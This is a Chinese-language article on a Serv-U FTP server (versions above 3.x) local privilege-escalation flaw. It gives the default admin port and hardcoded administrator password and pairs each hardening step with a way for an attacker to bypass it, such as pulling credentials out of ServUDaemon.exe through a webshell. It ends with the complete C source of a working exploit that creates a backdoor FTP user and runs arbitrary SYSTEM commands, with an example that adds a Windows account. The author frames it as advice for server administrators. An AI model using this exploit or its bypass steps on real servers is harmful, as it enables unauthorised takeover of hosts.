漏洞简介:
漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建域和用户来执行命令,Serv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。
防止办法和对策:
一般防止方法:设置目录权限,通过去掉Web目录iusr用户的执行权限来防止使用Webshell来运行Exp程序。
对策:这种方法有一定的局限性,需要设置的目录很多,不能有一点疏漏,比如我就发现很多虚拟主机在C:/Documents and Settings/All Users/ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp,这种目录还有x:/php,x:/perl等,因为这种目录都是everyone完全控制的。有些主机还支持php,pl,aspx等,这简直就是服务器的Serv-U灾难,^_^,运行程序更加方便。
高级一点的防止办法:修改Serv-u管理端口,用Ultraedit打开ServUDaemon.exe查找B6AB(43958的16进制),替换成自己定义的端口比如3930(12345),打开ServUAdmin.exe找到最后一个B6AB替换成3930(12345),启动Serv-u,现在本地管理端口就成了12345了:
TCP 127.0.0.1:12345 0.0.0.0:0 LISTENING |
对策:对付这种也很简单,netstat –an,就能看到端口了,有人说netstat无法运行,其实你再上传个netstat.exe到可执行目录运行就ok了,然后修改一下Exp编译,上传运行就好了,我修改了一个可以自定义端口的Exp,运行格式:
USAGE: serv-u.exe port "command" Example: serv-u.exe 43958 "net user xl xiaoxue /add" |
更高级的防止办法:修改管理员名和密码,用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。
对策:这下默认的管理员连接不上了,还有办法么?嘿嘿,有的管理员安装Serv-u都是使用默认目录C:/Program Files/Serv-U安装,这个目录虽然不能写,也不能修改,但是默认iusr是可以读的,我们可以用webshell来下载ServUDaemon.exe,用Ultraedit打开分析一下,Serv-U的帐号密码就到手了,修改Exp编译上传运行,我们又胜利了。
终极防御:
1.设置好目录权限,不要疏忽大意;
2.Serv-U最好不要使用默认安装路径,设置Serv-U目录的权限,只有管理员才能访问;
3.用我介绍的办法修改Serv-U的默认管理员名字和密码,喜欢的话端口也可以改掉。
后记:
入侵和防御就像矛和盾,盾上不能有任何薄弱之处,不然就会死的很难看。本文旨在为服务器管理员提供防御这个漏洞的办法,不足之处,请各位高手指教。(以上测试在Serv-u 5.0,5.1,5.2上通过)
附录:Exp源代码 serv-u.c
#pragma comment(lib,"ws2_32.lib") #include <stdio.h> #include <stdlib.h> #include <winsock2.h> #include <io.h> #include <process.h> //Responses #define BANNER "220 " #define USEROK "331 User name okay" #define PASSOK "230 User logged in, proceed." #define ADMOK "230-Switching to SYSTEM MAINTENANCE mode." #define DOMAINID "200-DomainID=" //Commands #define XPLUSER "USER xl/r/n" #define XPLPASSWORD "PASS 111111/r/n" #define USER "USER LocalAdministrator/r/n" #define PASSWORD "PASS #l@$ak#.lk;0@P/r/n" #define MAINTENANCE "SITE MAINTENANCE/r/n" #define EXIT "QUIT/r/n" char newdomain[]="-SETDOMAIN/r/n" "-Domain=xl|0.0.0.0|2121|-1|1|0/r/n" "-TZOEnable=0/r/n" " TZOKey=/r/n"; /* "-DynDNSEnable=0/r/n" " DynIPName=/r/n"; */ char deldomain[]="-DELETEDOMAIN/r/n" "-IP=0.0.0.0/r/n" " PortNo=2121/r/n"; char newuser[] = "-SETUSERSETUP/r/n" "-IP=0.0.0.0/r/n" "-PortNo=2121/r/n" "-User=xl/r/n" "-Password=111111/r/n" "-HomeDir=c:///r/n" "-LoginMesFile=/r/n" "-Disable=0/r/n" "-RelPaths=1/r/n" "-NeedSecure=0/r/n" "-HideHidden=0/r/n" "-AlwaysAllowLogin=0/r/n" "-ChangePassword=0/r/n" "-QuotaEnable=0/r/n" "-MaxUsersLoginPerIP=-1/r/n" "-SpeedLimitUp=0/r/n" "-SpeedLimitDown=0/r/n" "-MaxNrUsers=-1/r/n" "-IdleTimeOut=600/r/n" "-SessionTimeOut=-1/r/n" "-Expire=0/r/n" "-RatioUp=1/r/n" "-RatioDown=1/r/n" "-RatiosCredit=0/r/n" "-QuotaCurrent=0/r/n" "-QuotaMaximum=0/r/n" "-Maintenance=System/r/n" "-PasswordType=Regular/r/n" "-Ratios=None/r/n" " Access=c://|RWAMELCDP/r/n"; #define localip "127.0.0.1" char cadena[1024]; int rec,domain; /******************************************************************************/ void ParseCommands(int sock, char *data, int ShowSend, int showResponses, char *response) { send(sock,data,strlen(data),0); if (ShowSend) printf(">%s",data); Sleep(100); do { rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='/0'; if (rec<=0) return; if (showResponses) printf("<%s",cadena); if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0) domain=atoi(cadena+strlen(DOMAINID)); //} while (strncmp(cadena,response,strlen(response))!=0); } while (strstr(cadena,response)==NULL); printf("******************************************************/r/n"); } /******************************************************************************/ int main(int argc, char* argv[]) { WSADATA ws; int sock,sock2; struct sockaddr_in su; struct sockaddr_in xpl; printf("Serv-u >3.x Local Exploit by xiaolu/r/n/r/n"); if (argc<3) { printf("USAGE: serv-u.exe port /"command/"/r/n"); printf("Example: serv-u.exe 43958 /"net user xl xiaoxue /add/""); return(0); } if (WSAStartup( MAKEWORD(2,2), &ws )!=0) { printf(" [-] WSAStartup() error/n"); exit(0); } su.sin_family = AF_INET; su.sin_port = htons(strtoul(argv[1],NULL,10)); su.sin_addr.s_addr = inet_addr(localip); sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sock,( struct sockaddr *)&su,sizeof(su)); rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='/0'; printf("<%s",cadena); ParseCommands(sock,USER,1,1,USEROK); ParseCommands(sock,PASSWORD,1,1,PASSOK); ParseCommands(sock,MAINTENANCE,1,0,"230 "); printf("[+] Creating New Domain.../r/n"); ParseCommands(sock,newdomain,0,1,BANNER); printf("[+] Domain xl:%i Created/n",domain); /* Only for v5.x printf("[+] Setting New Domain Online/r/n"); sprintf(cadena,"-SERVERCOMMAND/r/n-ID=%i/r/n Command=DomainOnline/r/n",domain); ParseCommands(sock,cadena,0,1,BANNER); */ printf("[+] Creating Evil User/r/n"); ParseCommands(sock,newuser,0,1,"200 "); Sleep(1000); printf("[+] Now Exploiting.../r/n"); xpl.sin_family = AF_INET; xpl.sin_port = htons(2121); xpl.sin_addr.s_addr = inet_addr(localip); sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl)); rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='/0'; ParseCommands(sock2,XPLUSER,1,1,USEROK); ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK); printf("[+] Now Executing: %s/r/n",argv[2]); sprintf(cadena,"site exec %s/r/n",argv[2]); send(sock2,cadena,strlen(cadena),0); shutdown(sock2,SD_BOTH); Sleep(100); ParseCommands(sock,deldomain,0,1,BANNER); send(sock,EXIT,strlen(EXIT),0); shutdown(sock,SD_BOTH); closesocket(sock); closesocket(sock2); return 0; } |